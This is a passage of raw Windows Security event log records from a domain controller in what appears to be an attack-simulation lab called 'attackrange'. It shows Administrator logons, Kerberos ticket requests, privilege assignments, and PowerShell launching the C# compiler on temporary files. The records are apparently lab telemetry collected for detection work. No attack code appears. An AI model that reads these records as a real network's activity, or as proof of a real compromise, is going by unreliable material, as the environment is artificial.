PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252325 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {5E931B95-7CB8-5D76-2255-12100929952D} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252324 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {5E931B95-7CB8-5D76-2255-12100929952D} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252323 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252322 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x159132 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252321 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x159132 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252320 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x159132 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {5E931B95-7CB8-5D76-2255-12100929952D} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252319 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {5E931B95-7CB8-5D76-2255-12100929952D} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252318 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {5E931B95-7CB8-5D76-2255-12100929952D} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252317 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252316 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x158AA0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252315 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x158212 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252314 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x156D36 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252313 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xbd0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x13dc - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252312 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x154C03 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1068 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1370 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES5D3A.tmp" "c:\Users\Administrator\AppData\Local\Temp\oock2saj\CSC2E24D9438126496480FF35B024FA4A94.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252311 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x154C03 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1370 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1160 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\oock2saj\oock2saj.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252310 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x158AA0 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252309 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x158AA0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {5E931B95-7CB8-5D76-2255-12100929952D} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252308 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {5E931B95-7CB8-5D76-2255-12100929952D} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252307 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {5E931B95-7CB8-5D76-2255-12100929952D} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252306 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252305 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x154C03 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1360 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1004 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES5C12.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC8D56D5A2DFBD42B0AD55614AC1E6AC76.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252304 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x154C03 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1004 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1160 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\tdwrpjwy.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252303 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12f8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x13dc - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252379 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15B756 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252378 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15B756 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {FF3C54C6-7BE6-DF05-4718-4F7EC754DED6} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252377 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {FF3C54C6-7BE6-DF05-4718-4F7EC754DED6} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252376 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {FF3C54C6-7BE6-DF05-4718-4F7EC754DED6} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 